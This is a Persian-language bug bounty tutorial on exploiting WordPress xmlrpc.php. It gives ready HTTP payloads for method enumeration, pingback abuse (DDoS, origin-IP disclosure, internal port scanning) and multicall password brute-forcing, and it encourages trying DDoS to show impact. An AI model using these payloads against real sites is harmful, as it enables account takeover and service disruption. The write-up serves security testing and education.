رایتاپ
Exploiting the xmlrpc.php on all WordPress versions wirteup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

استفاده از قابلیت متدهای وردپرس برای حملات بروت فورس و pingback

XML-RPC در وردپرس در واقع یک API است که به توسعه دهندگانی که برنامه و خدمات شخص ثالث را ایجاد می کنند امکان تعامل با سایت وردپرس شما را فراهم می کند. XML-RPC API چندین ویژگی اصلی را فراهم می کند که شامل موارد زیر است. طبق مستندات وردپرس، قابلیت XML-RPC به طور پیش فرض از وردپرس 3.5 فعال میباشد.

“توجه داشته باشید که در این آموزش / صفحه دامنه example.com در واقع یک مثال است و می تواند با هدف خاص شما جایگزین شود.”

  • Publish a post
  • Edit a post
  • Delete a post.
  • Upload a new file (e.g. an image for a post)
  • Get a list of comments
  • Edit comments

آسیب پذیری XML-RPC  دو نوع حمله را ایجاد می کند:

  1. XML-RPC pingbacks
  2. Brute force attacks via XML-RPC

 

مراحل بررسی:

  1. اطمینان حاصل کنید که یک سایت وردپرسی را هدف قرار داده اید.
  2. اطمینان حاصل کنید که به فایل xmlrpc.php دسترسی دارید. به طور کلی ، این آدرس در https://example.com/xmlrpc.php یافت می شود و به درخواست هم GET پاسخ می دهد .ولی برای دستورات سمت سرور باید از POST  استفاده شود .
  3. هدف قرار دادن یک سرور    XML-RPC  disabled/hardcoded/tamperedبی معنی خواهد بود. بنابراین ، با ارسال درخواست زیر عملکرد آن را بررسی خواهیم کرد:
  
 POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 135 <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall> 

پاسخ دریافتی شبیه به ریسپانس زیر است:

 HTTP/1.1 200 OK Date: Mon, 01 Jul 2021 17:13:30 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 4272 Content-Type: text/xml; charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.deleteFile</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>wp.getUsersBlogs</string></value> </data></array> </value> </param> </params> </methodResponse> 
  

توجه داشته باشید که در غیاب پاسخ مثال ارائه شده در بالا، ادامه آزمایش واقعی دو آسیب پذیری کاملاً میتواند جواب ندهد. چرا که  براساس تنظیمات نصب وردپرس میتواند متدها فیلتر و بسته شده  باشد.

برای این کار بعد از جواب گرفتن system.listMethods که در بالا مشاهده کردید برای قدم اول میتوانید یک تعامل با demo.sayHello  داشته باشید به شکل زیر:

  
 POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 130 <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>demo.sayHello</methodName> <params></params> </methodCall> 

پاسخ دریافتی:

 HTTP/1.1 200 OK Date: Mon, 01 Jul 2021 17:19:05 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 181 Content-Type: text/xml; charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <string>Hello!</string> </value> </param> </params> </methodResponse> 
   

اجرای حمله pingback

در این حالت، یک مهاجم می تواند از API پیش فرض XML-RPC استفاده کند تا بتواند برای اهداف زیر استفاده کند:

  • Distributed denial-of-service (DDoS)
  • Cloud server Protection Bypass این امر به مهاجم این امکان را میدهد که ip های پشت cdn  یا vps و یا dns  سرور را بخواند .
  • XSPA  -Cross Site Port Attack در این روش هم مهاجم با متد نام برده میتواند پورت های باز داخلی یا خصوصی را پینگ کند و برای بررسی باز بودن پورتهای سمت سرور، تشخیص باز بودن پورت در پاسخ مشخص میشود.

برای درخواست pingbacks به این صورت باید درخواست را ارسال کنید که بخشهای آن را توضیح خواهم داد:  

 POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 303 <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value><string>https://Your Server Target </string></value> </param> <param> <value><string>https://example.com</string></value> </param> </params> </methodCall> 
  

پاسخ دریافتی:

 

 HTTP/1.1 200 OK Date: Mon, 01 Jul 2021 21:53:56 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload Connection: close Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Content-Length: 370 Content-Type: text/xml; charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value><int>0</int></value> </member> <member> <name>faultString</name> <value><string></string></value> </member> </struct> </value> </fault> </methodResponse> 

 

به جای Your server target  شما باید ادرس دامنه یا ای پی خودتان را بدهید که زمانی که pingbacks  از سمت سرور انجام میشود ادرس ای پی سرور به مقصدی که شما تعیین کردید برگشت داده شود. برای مثال شما میتوانید ازBurp collaborator  در ابزار Burp Pro  استفاده کنید که ادرسی که burp  به شما میدهد را در your server target  جایگزین کنید و همان لحظه ip داخلی سرور و یا dns  آن را به دست آورید .در بخش Example.com هم ادرس سایت اسیب پذیر را جایگزین میکنید.

 

نکته: اگرip  به سمت شما برگشت داده نشد بدانید که در سمت سرور این مورد فیلتر شده است و اجازه برگشتip  به سمت مقصدهای مختلف را سرور نمیدهد. ولی شما برای Impact  روش ddos  را هم امتحان کنید که بتوانید به عنوان یک باگ بانتی گزارش خودتان را ارسال کنید که اگر در scope سازمان ddos  قرار داشته باشد گزارش شما مورد قبول قرار خواهد گرفت.

 

اجرای حمله بروت فورس

مور بعدی که در xmlrpc  وجود دارد brute force  در بخش لاگین به وردپرس میباشد که با استفاده از xmlrpc.php این کار انجام میشود در بسیار از سایت های وردپرسی مشاهده میشود که ادمینهای سایت بخش wp-admin را فیلتر میکنند ولی بخش wp.getUsersBlogs در xmlrpc را غیر فعال نمیکنند. با متد wp.getusersblogs دقیقا همان اتفاق لاگین در بخش گرافیکی وردپرس انجام می شود .

درخواست را به صورت زیر ارسال کنید:

  
 POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 235 <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>\{\{your username\}\}</value></param> <param><value>\{\{your password\}\}</value></param> </params> </methodCall> 

درخواست فوق را می توان با مجموعه اعتبارات مختلف در Burp Intruder به عنوان مثال ارسال کرد. توجه داشته باشید که حتی اگر رمز عبور را حدس بزنید یا نه، کد پاسخ همیشه 200 خواهد بود.

نگران ارسال بسیاری از درخواست ها علیه هدف نباشید - جای نگرانی نیست وردپرس XML-RPC به طور پیش فرض به مهاجم اجازه می دهد تا یک درخواست واحد انجام دهد و صدها رمز عبور را امتحان کند.

درخواست زیر به مجوزهای هر دو روش system.multicall و wp.getUsersBlogs نیاز دارد که درخواست زیر برای امتحان کردن صد ها هزار یوزر و پسورد میباشد:

 POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 1560 <?xml version="1.0"?> <methodCall><methodName>system.multicall</methodName><params><param><value><array><data> <value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value> <value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value> <value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value> <value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value> </data></array></value></param></params></methodCall> 
   

 موفق و پیروز باشید با کلی گزارش باگ بانتی